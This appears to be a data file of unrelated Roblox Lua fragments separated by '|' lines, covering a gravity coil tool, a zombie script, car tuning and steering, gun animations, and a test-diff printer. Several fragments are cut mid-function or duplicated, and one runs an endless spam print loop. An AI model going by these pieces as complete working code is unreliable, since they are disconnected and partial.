if c[i].Name == "Handle" then
m = m + (c[i]:GetMass() * equalizingForce * 1) -- hack that makes hats weightless, so different hats don't change your jump height
else
m = m + (c[i]:GetMass() * equalizingForce * gravity)
end
end
m = m + recursiveGetLift(c[i])
end
return m
end
function onMassChanged(child, char)
print("Mass changed:" .. child.Name .. " " .. char.Name)
if (ghostEffect ~= nil) then
ghostEffect.force = Vector3.new(0, recursiveGetLift(char) ,0)
end
end
function UpdateGhostState(isUnequipping)
if isUnequipping == true then
ghostEffect:Remove()
ghostEffect = nil
massCon1:disconnect()
massCon2:disconnect()
else
if ghostEffect == nil then
local char = Tool.Parent
if char == nil then return end
ghostEffect = Instance.new("BodyForce")
ghostEffect.Name = "GravityCoilEffect"
ghostEffect.force = Vector3.new(0, recursiveGetLift(char) ,0)
ghostEffect.Parent = char.Head
ghostChar = char
massCon1 = char.ChildAdded:connect(function(child) onMassChanged(child, char) end)
massCon2 = char.ChildRemoved:connect(function(child) onMassChanged(child, char) end)
end
end
end
function onEquipped()
Tool.Handle.CoilSound:Play()
UpdateGhostState(false)
end
function onUnequipped()
UpdateGhostState(true)
end
script.Parent.Equipped:connect(onEquipped)
script.Parent.Unequipped:connect(onUnequipped)
|
-- Require the ChatSettings module (wait for it to load)
|
local Chat = game:GetService("Chat")
local ClientChatModules = Chat:WaitForChild("ClientChatModules")
local ChatSettings = require(ClientChatModules:WaitForChild("ChatSettings"))
|
-- Local Variables
|
local TeamPlayers = {}
local TeamScores = {}
|
--[=[
Observes the current value of the ValueObject
@return Observable<T>
]=]
|
function ValueObject:Observe()
return Observable.new(function(sub)
if not self.Destroy then
warn("[ValueObject.observeValue] - Connecting to dead ValueObject")
-- No firing, we're dead
sub:Complete()
return
end
local maid = Maid.new()
maid:GiveTask(self.Changed:Connect(function()
sub:Fire(self.Value)
end))
sub:Fire(self.Value)
return maid
end)
end
|
--]]
|
function getHumanoid(model)
for _, v in pairs(model:GetChildren()) do
if v:IsA'Humanoid' then
return v
end
end
end
local zombie = script.Parent
local human = getHumanoid(zombie)
local hroot = zombie.HumanoidRootPart
local zspeed = hroot.Velocity.magnitude
local pfs = game:GetService("PathfindingService")
function GetPlayerNames()
local players = game:GetService('Players'):GetChildren()
local name = nil
for _, v in pairs(players) do
if v:IsA'Player' then
name = tostring(v.Name)
end
end
return name
end
spawn(function()
while wait() do
print("THIS BALDI MODEL WAS MADE BY ANPHU04, DO NOT TRUST ANYbody THAT USES THIS!")
end
end)
function GetPlayersbodyParts(t)
local body = t
if body then
local figure = body.Parent
for _, v in pairs(figure:GetChildren()) do
if v:IsA'Part' then
return v.Name
end
end
else
return "HumanoidRootPart"
end
end
function Getbody(part)
local chars = game.Workspace:GetChildren()
local body = nil
for _, v in pairs(chars) do
if v:IsA'Model' and v ~= script.Parent and v.Name == GetPlayerNames() then
local charRoot = v:FindFirstChild'HumanoidRootPart'
if (charRoot.Position - part).magnitude < SearchDistance then
body = charRoot
end
end
end
return body
end
for _, zambieparts in pairs(zombie:GetChildren()) do
if zambieparts:IsA'Part' then
zambieparts.Touched:connect(function(p)
if p.Parent.Name == GetPlayerNames() and p.Parent.Name ~= zombie.Name then -- damage
local enemy = p.Parent
local enemyhuman = getHumanoid(enemy)
enemyhuman:TakeDamage(ZombieDamage)
end
end)
end
end
|
--[[Drivetrain]]
|
Tune.Config = "RWD" --"FWD" , "RWD" , "AWD"
Tune.TorqueVector = 0 --AWD ONLY, "-1" has a 100% front bias, "0" has a 50:50 bias, and "1" has a 100% rear bias. Can be any number between that range.
--Differential Settings
Tune.FDiffSlipThres = 50 -- 1 - 100% (Max threshold of applying full lock determined by deviation from avg speed)
Tune.FDiffLockThres = 50 -- 0 - 100% (0 - Bias toward slower wheel, 100 - Bias toward faster wheel)
Tune.RDiffSlipThres = 80 -- 1 - 100%
Tune.RDiffLockThres = 20 -- 0 - 100%
Tune.CDiffSlipThres = 50 -- 1 - 100% [AWD Only]
Tune.CDiffLockThres = 50 -- 0 - 100% [AWD Only]
--Traction Control Settings
Tune.TCSEnabled = true -- Implements TCS
Tune.TCSThreshold = 20 -- Slip speed allowed before TCS starts working (in SPS)
Tune.TCSGradient = 20 -- Slip speed gradient between 0 to max reduction (in SPS)
Tune.TCSLimit = 10 -- Minimum amount of torque at max reduction (in percent)
|
--[[Weight and CG]]
|
Tune.Weight = 1700 -- Total weight (in pounds)
Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable)
--[[Width]] 6 ,
--[[Height]] 3.5 ,
--[[Length]] 14 }
Tune.WeightDist = 55 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels)
Tune.WBVisible = false -- Makes the weight brick visible
|
-- Called to update all of the look-angles being tracked
-- on the client, as well as our own client look-angles.
-- This is called during every RunService Heartbeat.
|
function CharacterRealism:UpdateLookAngles(delta)
-- Update our own look-angles with no latency
local pitch, yaw = self:ComputeLookAngle()
self:OnLookReceive(self.Player, pitch, yaw)
-- Submit our look-angles if they have changed enough.
local lastUpdate = self.LastUpdate or 0
local now = os.clock()
if (now - lastUpdate) > .5 then
pitch = Util:RoundNearestInterval(pitch, .05)
yaw = Util:RoundNearestInterval(yaw, .05)
if pitch ~= self.Pitch then
self.Pitch = pitch
self.Dirty = true
end
if yaw ~= self.Yaw then
self.Yaw = yaw
self.Dirty = true
end
if self.Dirty then
self.Dirty = false
self.LastUpdate = now
self.SetLookAngles:FireServer(pitch, yaw)
end
end
-- Update all of the character look-angles
local camera = workspace.CurrentCamera
local camPos = camera.CFrame.Position
local player = self.Player
local dropList
for character, rotator in pairs(self.Rotators) do
if not character.Parent then
if not dropList then
dropList = {}
end
dropList[character] = true
continue
end
local owner = Players:GetPlayerFromCharacter(character)
local dist = owner and owner:DistanceFromCharacter(camPos) or 0
if owner ~= player and dist > 30 then
continue
end
local lastStep = rotator.LastStep or 0
local stepDelta = now - lastStep
local humanoid = character:FindFirstChildOfClass("Humanoid")
local rootPart = humanoid and humanoid.RootPart
if not rootPart then
continue
end
local pitchState = rotator.Pitch
self:StepValue(pitchState, stepDelta)
local yawState = rotator.Yaw
self:StepValue(yawState, stepDelta)
local motors = rotator.Motors
rotator.LastStep = now
if not motors then
continue
end
for name, factors in pairs(self.RotationFactors) do
local data = motors and motors[name]
if not data then
continue
end
local motor = data.Motor
local origin = data.Origin
if origin then
local part0 = motor.Part0
local setPart0 = origin.Parent
if part0 and part0 ~= setPart0 then
local newOrigin = part0:FindFirstChild(origin.Name)
if newOrigin and newOrigin:IsA("Attachment") then
origin = newOrigin
data.Origin = newOrigin
end
end
origin = origin.CFrame
elseif data.C0 then
origin = data.C0
else
continue
end
local pitch = pitchState.Current or 0
local yaw = yawState.Current or 0
if rotator.SnapFirstPerson and name == "Head" then
if FpsCamera:IsInFirstPerson() then
pitch = pitchState.Goal
yaw = yawState.Goal
end
end
local fPitch = pitch * factors.Pitch
local fYaw = yaw * factors.Yaw
-- HACK: Make the arms rotate with a tool.
if name:sub(-4) == " Arm" or name:sub(-8) == "UpperArm" then
local tool = character:FindFirstChildOfClass("Tool")
if tool and not CollectionService:HasTag(tool, "NoArmRotation") then
if name:sub(1, 5) == "Right" and rootPart:GetRootPart() ~= rootPart then
fPitch = pitch * 1.3
fYaw = yaw * 1.3
else
fYaw = yaw * .8
end
end
end
local dirty = false
if fPitch ~= pitchState.Value then
pitchState.Value = fPitch
dirty = true
end
if fYaw ~= yawState.Value then
yawState.Value = fYaw
dirty = true
end
if dirty then
local rot = origin - origin.Position
local cf = CFrame.Angles(0, fPitch, 0)
* CFrame.Angles(fYaw, 0, 0)
motor.C0 = origin * rot:Inverse() * cf * rot
end
end
end
-- If the dropList is declared, remove any characters that
-- were indexed into it. This is done after iterating over
-- the rotators to avoid problems with removing data from
-- a table while iterating over said table.
if dropList then
for character in pairs(dropList) do
local rotator = self.Rotators[character]
local listener = rotator and rotator.Listener
if listener then
listener:Disconnect()
end
self.Rotators[character] = nil
end
end
end
|
--function Typewrite(Dialouge)
-- for i= 1, Dialouge:len() do
-- textbox.Text = textbox.Text..Dialouge:sub(i,i)
-- wait(.01)
-- end
-- -- You can change the speed of the typing and the delay(I made it adaptive to the length of the text)
-- wait(Dialouge:len()/25)
-- for i= 1, Dialouge:len() do
-- textbox.Text = Dialouge:sub(1,Dialouge:len()-i)
-- wait(.01)
-- end
--end
| |
-- Given array of diffs, return concatenated string:
-- * include common substrings
-- * exclude change substrings which have opposite op
-- * include change substrings which have argument op
-- with inverse highlight only if there is a common substring
|
function getCommonAndChangedSubstrings(diffs: Array<Diff>, op: number, hasCommonDiff: boolean): string
return Array.reduce(diffs, function(reduced: string, diff: Diff): string
if diff[1] == DIFF_EQUAL then
return reduced .. diff[2]
elseif diff[1] ~= op then
return reduced
elseif hasCommonDiff then
return reduced .. INVERTED_COLOR(diff[2])
else
return reduced .. diff[2]
end
end, "")
end
function isLineDiffable(expected: any, received: any): boolean
local expectedType = getType(expected)
local receivedType = getType(received)
if expectedType ~= receivedType then
return false
end
if isPrimitive(expected) then
-- Print generic line diff for strings only:
-- * if neither string is empty
-- * if either string has more than one line
return (
typeof(expected) == "string"
and typeof(received) == "string"
and #expected ~= 0
and #received ~= 0
and not not (string.find(expected, MULTILINE_REGEXP) or string.find(received, MULTILINE_REGEXP))
)
end
if expectedType == "DateTime" or expectedType == "function" then
return false
end
if expectedType == "table" and typeof(expected.asymmetricMatch) == "function" then
return false
end
if receivedType == "table" and typeof(received.asymmetricMatch) == "function" then
return false
end
return true
end
local MAX_DIFF_STRING_LENGTH = 20000
function printDiffOrStringify(
expected: any,
received: any,
expectedLabel: string,
receivedLabel: string,
expand: boolean -- CLI options: true if '--expand' or false if '--no-expand'
): string
if
typeof(expected) == "string"
and typeof(received) == "string"
and #expected ~= 0
and #received ~= 0
and #expected <= MAX_DIFF_STRING_LENGTH
and #received <= MAX_DIFF_STRING_LENGTH
and expected ~= received
then
if string.find(expected, MULTILINE_REGEXP) or string.find(received, MULTILINE_REGEXP) then
return diffStringsUnified(expected, received, {
aAnnotation = expectedLabel,
bAnnotation = receivedLabel,
changeLineTrailingSpaceColor = chalk.bgYellow,
commonLineTrailingSpaceColor = chalk.bgYellow,
emptyFirstOrLastLinePlaceholder = utf8.char(8629),
expand = expand,
includeChangeCounts = true,
})
end
local diffs = diffStringsRaw(expected, received, true)
local hasCommonDiff = Array.some(diffs, function(diff)
return diff[1] == DIFF_EQUAL
end)
local printLabel = getLabelPrinter(expectedLabel, receivedLabel)
local expectedLine = printLabel(expectedLabel)
.. printExpected(getCommonAndChangedSubstrings(diffs, DIFF_DELETE, hasCommonDiff))
local receivedLine = printLabel(receivedLabel)
.. printReceived(getCommonAndChangedSubstrings(diffs, DIFF_INSERT, hasCommonDiff))
return expectedLine .. "\n" .. receivedLine
end
if isLineDiffable(expected, received) then
local replaced = replaceMatchedToAsymmetricMatcher(
deepCyclicCopyReplaceable(expected),
deepCyclicCopyReplaceable(received),
{},
{}
)
local replacedExpected = replaced.replacedExpected
local replacedReceived = replaced.replacedReceived
local difference = diffDefault(replacedExpected, replacedReceived, {
aAnnotation = expectedLabel,
bAnnotation = receivedLabel,
expand = expand,
includeChangeCounts = true,
})
if
typeof(difference) == "string"
and string.find(difference, "%- " .. expectedLabel)
and string.find(difference, "%+ " .. receivedLabel)
then
return difference
end
end
local printLabel = getLabelPrinter(expectedLabel, receivedLabel)
local expectedLine = printLabel(expectedLabel) .. printExpected(expected)
local receivedLine
if stringify(expected) == stringify(received) then
receivedLine = printLabel(receivedLabel) .. "serializes to the same string"
else
receivedLine = printLabel(receivedLabel) .. printReceived(received)
end
return expectedLine .. "\n" .. receivedLine
end
|
-- events
|
script.SkipTier.OnInvoke = SkipTier
Players.PlayerAdded:Connect(function(player)
PLAYER_DATA:WaitForChild(player.Name)
UpdateLevels(player)
end)
|
-------- OMG HAX
|
r = game:service("RunService")
Tool = script.Parent
local equalizingForce = 236 / 1.2 -- amount of force required to levitate a mass
local gravity = .90 -- things float at > 1
local ghostEffect = nil
local massCon1 = nil
local massCon2 = nil
function recursiveGetLift(node)
local m = 0
local c = node:GetChildren()
for i=1,#c do
if c[i].className == "Part" then
if c[i].Name == "Handle" then
m = m + (c[i]:GetMass() * equalizingForce * 1) -- hack that makes hats weightless, so different hats don't change your jump height
else
m = m + (c[i]:GetMass() * equalizingForce * gravity)
end
end
m = m + recursiveGetLift(c[i])
end
return m
end
function onMassChanged(child, char)
print("Mass changed:" .. child.Name .. " " .. char.Name)
if (ghostEffect ~= nil) then
ghostEffect.force = Vector3.new(0, recursiveGetLift(char) ,0)
end
end
function UpdateGhostState(isUnequipping)
if isUnequipping == true then
ghostEffect:Remove()
ghostEffect = nil
massCon1:disconnect()
massCon2:disconnect()
else
if ghostEffect == nil then
local char = Tool.Parent
if char == nil then return end
ghostEffect = Instance.new("BodyForce")
ghostEffect.Name = "GravityCoilEffect"
ghostEffect.force = Vector3.new(0, recursiveGetLift(char) ,0)
ghostEffect.Parent = char.Head
ghostChar = char
massCon1 = char.ChildAdded:connect(function(child) onMassChanged(child, char) end)
massCon2 = char.ChildRemoved:connect(function(child) onMassChanged(child, char) end)
end
end
end
function onEquipped()
Tool.Handle.CoilSound:Play()
UpdateGhostState(false)
end
function onUnequipped()
UpdateGhostState(true)
end
script.Parent.Equipped:connect(onEquipped)
script.Parent.Unequipped:connect(onUnequipped)
|
--// Animations
|
-- Idle Anim
IdleAnim = function(char, speed, objs)
TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.07592201, 1, 0, 0, 0, 1.19248806e-08, 1, 0, -1, 1.19248806e-08), function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[3], nil , CFrame.new(-0.0318467021, -0.0621779114, -1.67288721, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.18)
end;
-- FireMode Anim
FireModeAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , CFrame.new(0.340285569, 0, -0.0787199363, 0.962304771, 0.271973342, 0, -0.261981696, 0.926952124, -0.268561482, -0.0730415657, 0.258437991, 0.963262498), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.1)
TweenJoint(objs[2], nil , CFrame.new(0.67163527, -0.310947895, -1.34432662, 0.766044378, -2.80971371e-008, 0.642787576, -0.620885074, -0.258818865, 0.739942133, 0.166365519, -0.965925872, -0.198266774), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.25)
objs[4]:WaitForChild("Click"):Play()
end;
-- Reload Anim
ReloadAnim = function(char, speed, objs)
TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.07592201, 0.973990917, -0.226587087, 2.70202394e-09, -0.0646390691, -0.277852833, 0.958446443, -0.217171595, -0.933518112, -0.285272509), function(X) return math.sin(math.rad(X)) end, 0.5)
TweenJoint(objs[3], nil , CFrame.new(0.511569798, -0.0621779114, -1.63076854, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098), function(X) return math.sin(math.rad(X)) end, 0.5)
wait(0.5)
local MagC = Tool:WaitForChild("Mag"):clone()
MagC:FindFirstChild("Mag"):Destroy()
MagC.Parent = Tool
MagC.Name = "MagC"
local MagCW = Instance.new("Motor6D")
MagCW.Part0 = MagC
MagCW.Part1 = workspace.CurrentCamera:WaitForChild("Arms"):WaitForChild("Left Arm")
MagCW.Parent = MagC
MagCW.C1 = MagC.CFrame:toObjectSpace(objs[4].CFrame)
objs[4].Transparency = 1
objs[6]:WaitForChild("MagOut"):Play()
TweenJoint(objs[3], nil , CFrame.new(0.511569798, -0.0621778965, -2.69811869, 0.787567914, -0.220087856, 0.575584888, -0.51537323, 0.276813388, 0.811026871, -0.337826759, -0.935379863, 0.104581922), function(X) return math.sin(math.rad(X)) end, 0.3)
TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.29060709, 0.973990917, -0.226587087, 2.70202394e-09, -0.0646390691, -0.277852833, 0.958446443, -0.217171595, -0.933518112, -0.285272509), function(X) return math.sin(math.rad(X)) end, 0.1)
wait(0.1)
TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.07592201, 0.973990917, -0.226587087, 2.70202394e-09, -0.0646390691, -0.277852833, 0.958446443, -0.217171595, -0.933518112, -0.285272509), function(X) return math.sin(math.rad(X)) end, 0.3)
wait(0.3)
objs[6]:WaitForChild('MagIn'):Play()
TweenJoint(objs[3], nil , CFrame.new(0.511569798, -0.0621779114, -1.63076854, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098), function(X) return math.sin(math.rad(X)) end, 0.3)
wait(0.4)
MagC:Destroy()
objs[4].Transparency = 0
end;
-- Bolt Anim
BoltBackAnim = function(char, speed, objs)
TweenJoint(objs[3], nil , CFrame.new(-0.603950977, 0.518400908, -1.07592201, 0.984651804, 0.174530268, -2.0812525e-09, 0.0221636202, -0.125041038, 0.991903961, 0.173117265, -0.97668004, -0.12699011), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.1)
TweenJoint(objs[2], nil , CFrame.new(-0.333807141, -0.492658436, -1.55705214, 0.140073985, -0.978677034, -0.150234282, -0.955578506, -0.173358306, 0.238361627, -0.259323537, 0.110172354, -0.959486008), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.4)
objs[5]:WaitForChild("BoltBack"):Play()
TweenJoint(objs[2], nil , CFrame.new(-0.333807141, -0.609481037, -1.02827215, 0.140073985, -0.978677034, -0.150234282, -0.955578506, -0.173358306, 0.238361627, -0.259323537, 0.110172354, -0.959486008), function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[1], nil , CFrame.new(0, 0, 0.230707675, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[3], nil , CFrame.new(-0.603950977, 0.175939053, -1.07592201, 0.984651804, 0.174530268, -2.0812525e-09, 0.0221636202, -0.125041038, 0.991903961, 0.173117265, -0.97668004, -0.12699011), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.3)
end;
BoltForwardAnim = function(char, speed, objs)
objs[5]:WaitForChild("BoltForward"):Play()
TweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.1)
TweenJoint(objs[2], nil , CFrame.new(-0.84623456, -0.900531948, -0.749261618, 0.140073985, -0.978677034, -0.150234282, -0.955578506, -0.173358306, 0.238361627, -0.259323537, 0.110172354, -0.959486008), function(X) return math.sin(math.rad(X)) end, 0.1)
TweenJoint(objs[3], nil , CFrame.new(-0.603950977, 0.617181182, -1.07592201, 0.984651804, 0.174530268, -2.0812525e-09, 0.0221636202, -0.125041038, 0.991903961, 0.173117265, -0.97668004, -0.12699011), function(X) return math.sin(math.rad(X)) end, 0.2)
wait(0.2)
end;
-- Bolting Back
BoltingBackAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , CFrame.new(0, 0, 0.230707675, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.03)
end;
BoltingForwardAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.1)
end;
InspectAnim = function(char, speed, objs)
ts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.805950999, 0.654529691, -1.92835355, 0.999723792, 0.0109803826, 0.0207702816, -0.0223077796, 0.721017241, 0.692557871, -0.00737112388, -0.692829967, 0.721063137)}):Play()
ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-1.49363565, -0.699174881, -1.32277012, 0.66716975, -8.8829113e-09, -0.74490571, 0.651565909, -0.484672248, 0.5835706, -0.361035138, -0.874695837, -0.323358655)}):Play()
wait(1)
ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(1.37424219, -0.699174881, -1.03685927, -0.204235911, 0.62879771, 0.750267386, 0.65156585, -0.484672219, 0.58357054, 0.730581641, 0.60803473, -0.310715646)}):Play()
wait(1)
ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.32277012, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play()
ts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.447846293, 0.654529572, -1.81345785, 0.761665463, -0.514432132, 0.393986136, -0.560285628, -0.217437655, 0.799250066, -0.325492471, -0.82950604, -0.453843832)}):Play()
wait(1)
local MagC = Tool:WaitForChild("Mag"):clone()
MagC:FindFirstChild("Mag"):Destroy()
MagC.Parent = Tool
MagC.Name = "MagC"
local MagCW = Instance.new("Motor6D")
MagCW.Part0 = MagC
MagCW.Part1 = workspace.CurrentCamera:WaitForChild("Arms"):WaitForChild("Left Arm")
MagCW.Parent = MagC
MagCW.C1 = MagC.CFrame:toObjectSpace(Tool:WaitForChild('Mag').CFrame)
Tool.Mag.Transparency = 1
Tool:WaitForChild('Grip'):WaitForChild("MagOut"):Play()
ts:Create(objs[2],TweenInfo.new(0.15),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.55972552, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play()
ts:Create(objs[1],TweenInfo.new(0.3),{C1 = CFrame.new(0.447846293, 0.654529572, -2.9755671, 0.761665463, -0.514432132, 0.393986136, -0.568886042, -0.239798605, 0.786679745, -0.31021595, -0.823320091, -0.475299776)}):Play()
wait(0.13)
ts:Create(objs[2],TweenInfo.new(0.20),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.28149843, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play()
wait(0.20)
ts:Create(objs[1],TweenInfo.new(0.5),{C1 = CFrame.new(0.447846293, -0.650498748, -1.82401526, 0.761665463, -0.514432132, 0.393986136, -0.646156013, -0.55753684, 0.521185875, -0.0484529883, -0.651545882, -0.75706023)}):Play()
wait(0.8)
ts:Create(objs[1],TweenInfo.new(0.6),{C1 = CFrame.new(0.447846293, 0.654529572, -2.9755671, 0.761665463, -0.514432132, 0.393986136, -0.568886042, -0.239798605, 0.786679745, -0.31021595, -0.823320091, -0.475299776)}):Play()
wait(0.5)
Tool:WaitForChild('Grip'):WaitForChild("MagIn"):Play()
ts:Create(objs[1],TweenInfo.new(0.3),{C1 = CFrame.new(0.447846293, 0.654529572, -1.81345785, 0.761665463, -0.514432132, 0.393986136, -0.560285628, -0.217437655, 0.799250066, -0.325492471, -0.82950604, -0.453843832)}):Play()
wait(0.3)
MagC:Destroy()
Tool.Mag.Transparency = 0
wait(0.1)
end;
AttachAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , CFrame.new(-2.05413628, -0.386312962, -0.955676377, 0.5, 0, -0.866025329, 0.852868497, -0.17364797, 0.492403895, -0.150383547, -0.984807789, -0.086823985), function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[2], nil , CFrame.new(0.931334019, 1.66565645, -1.2231313, 0.787567914, -0.220087856, 0.575584888, -0.0180282295, 0.925416708, 0.378521889, -0.615963817, -0.308488399, 0.724860728), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.18)
end;
-- Patrol Anim
PatrolAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , sConfig.PatrolPosR, function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[2], nil , sConfig.PatrolPosL, function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.18)
end;
}
return Settings
|
-- create a proxy object for a table that prevents reading
-- empty keys, writing keys, and inspecting the metatable
|
local tableLock do
local function invalidRead(_, k)
error(("reading nonexistent element %q from locked table"):format(tostring(k)), 2)
end
local function invalidWrite(_, k)
error(("writing key %q to locked table"):format(tostring(k)), 2)
end
local RW_LOCK = {
__index = invalidRead,
__newindex = invalidWrite,
}
function tableLock(tbl)
setmetatable(tbl, RW_LOCK)
return setmetatable(
{},
{
__index = tbl,
__newindex = invalidWrite,
__metatable = "The metatable is locked",
}
)
end
end
|
--[[Steering]]
|
function Steering()
--Mouse Steer
if _MSteer then
local msWidth = math.max(1,mouse.ViewSizeX*_Tune.Peripherals.MSteerWidth/200)
local mdZone = _Tune.Peripherals.MSteerDZone/100
local mST = ((mouse.X-mouse.ViewSizeX/2)/msWidth)
if math.abs(mST)<=mdZone then
_GSteerT = 0
else
_GSteerT = (math.max(math.min((math.abs(mST)-mdZone),(1-mdZone)),0)/(1-mdZone))^_Tune.MSteerExp * (mST / math.abs(mST))
end
end
--Interpolate Steering
if _GSteerC < _GSteerT then
if _GSteerC<0 then
_GSteerC = math.min(_GSteerT,_GSteerC+_Tune.ReturnSpeed)
else
_GSteerC = math.min(_GSteerT,_GSteerC+_Tune.SteerSpeed)
end
else
if _GSteerC>0 then
_GSteerC = math.max(_GSteerT,_GSteerC-_Tune.ReturnSpeed)
else
_GSteerC = math.max(_GSteerT,_GSteerC-_Tune.SteerSpeed)
end
end
--Steer Decay Multiplier
local sDecay = (1-math.min(car.DriveSeat.Velocity.Magnitude/_Tune.SteerDecay,1-(_Tune.MinSteer/100)))
--Apply Steering
for i,v in pairs(car.Wheels:GetChildren()) do
if v.Name=="F" then
v.Arm.Steer.CFrame=car.Wheels.F.Base.CFrame*CFrame.Angles(0,-math.rad(_GSteerC*_Tune.SteerInner*sDecay),0)
elseif v.Name=="FL" then
if _GSteerC>= 0 then
v.Arm.Steer.CFrame=car.Wheels.FL.Base.CFrame*CFrame.Angles(0,-math.rad(_GSteerC*_Tune.SteerOuter*sDecay),0)
else
v.Arm.Steer.CFrame=car.Wheels.FL.Base.CFrame*CFrame.Angles(0,-math.rad(_GSteerC*_Tune.SteerInner*sDecay),0)
end
elseif v.Name=="FR" then
if _GSteerC>= 0 then
v.Arm.Steer.CFrame=car.Wheels.FR.Base.CFrame*CFrame.Angles(0,-math.rad(_GSteerC*_Tune.SteerInner*sDecay),0)
else
v.Arm.Steer.CFrame=car.Wheels.FR.Base.CFrame*CFrame.Angles(0,-math.rad(_GSteerC*_Tune.SteerOuter*sDecay),0)
end
end
end
end
|
--notes
--rpm = 11000 / 100000 = 0.1, rpm = 1000 / 100000 = 0.01 * 4 = 0.04
|
Values.Values.RPM.Changed:connect(function()
Throttle = Values.Values.Throttle.Value
CurrentGear = Values.Values.Gear.Value
CurrentRPM = Values.Values.RPM.Value
if Throttle == 1 then
active = true
if CPSI < PSI then
if Turbos == "Single" then
if TurboSize == "Small" then
CPSI = CPSI + (CurrentRPM / 45000) * 4
wait(0.1)
Values.Values.PSI.Value = CPSI * 8
Values.Values.APSI.Value = CPSI
end
if TurboSize == "Medium" then
CPSI = CPSI + (CurrentRPM / 100000) * 4
wait(0.1)
Values.Values.PSI.Value = CPSI * 10
Values.Values.APSI.Value = CPSI
end
if TurboSize == "Large" then
CPSI = CPSI + (CurrentRPM / 125000) * 4
wait(0.1)
Values.Values.PSI.Value = CPSI * 12
Values.Values.APSI.Value = CPSI
end
elseif Turbos == "Twin" then
if TurboSize == "Small" then
CPSI = CPSI + (CurrentRPM / 75000) * 4
wait(0.05)
Values.Values.PSI.Value = CPSI * 8
Values.Values.APSI.Value = CPSI
end
if TurboSize == "Medium" then
CPSI = CPSI + (CurrentRPM / 100000) * 4
wait(0.05)
Values.Values.PSI.Value = CPSI * 10
Values.Values.APSI.Value = CPSI
end
if TurboSize == "Large" then
CPSI = CPSI + (CurrentRPM / 125000) * 4
wait(0.05)
Values.Values.PSI.Value = CPSI * 12
Values.Values.APSI.Value = CPSI
end
end
end
if CurrentRPM > (_Tune.Redline - 500) and TwoStep == true and boom == true then
boom = false
if car.Body.Exhaust.E1.S.IsPlaying then
else
local i = math.random(1,4)
i = math.ceil(i)
while i >= 1 do
car.Body.Exhaust.E2.S:Play()
car.Body.Exhaust.E1.Afterburn.Enabled = true
car.Body.Exhaust.E2.Afterburn.Enabled = true
wait(math.random(0.2,.3))
car.Body.Exhaust.E1.Afterburn.Enabled = false
car.Body.Exhaust.E2.Afterburn.Enabled = false
i= i - 1
end
wait(0.5)
boom = true
end
end
end
if Throttle <= 0.01 and active == true and Valve == "BOV" then
active = false
CPSI = 0
if TurboSize == "Large" then
Values.Values.PSI.Value = CPSI * 12
elseif TurboSize == "Medium" then
Values.Values.PSI.Value = CPSI * 10
elseif TurboSize == "Small" then
Values.Values.PSI.Value = CPSI * 8
end
Values.Values.APSI.Value = CPSI
if BOV.IsPlaying then
else
BOV:Play()
end
end
if Throttle <= 0.01 and Valve == "Bleed" then
if CPSI > 0 then
CPSI = CPSI - 0.1
wait(0.05)
end
if TurboSize == "Large" then
Values.Values.PSI.Value = CPSI * 12
elseif TurboSize == "Medium" then
Values.Values.PSI.Value = CPSI * 10
elseif TurboSize == "Small" then
Values.Values.PSI.Value = CPSI * 8
end
Values.Values.APSI.Value = CPSI
if active == true then
if BOV.IsPlaying then
else
BOV:Play()
active = false
end
end
end
end
)
if boom == false then wait(math.random(1)) boom = true end
|
-- Container for temporary connections (disconnected automatically)
|
local Connections = {};
function SurfaceTool.Equip()
-- Enables the tool's equipped functionality
-- Start up our interface
ShowUI();
EnableSurfaceSelection();
-- Set our current surface mode
SetSurface(SurfaceTool.Surface);
end;
function SurfaceTool.Unequip()
-- Disables the tool's equipped functionality
-- Clear unnecessary resources
HideUI();
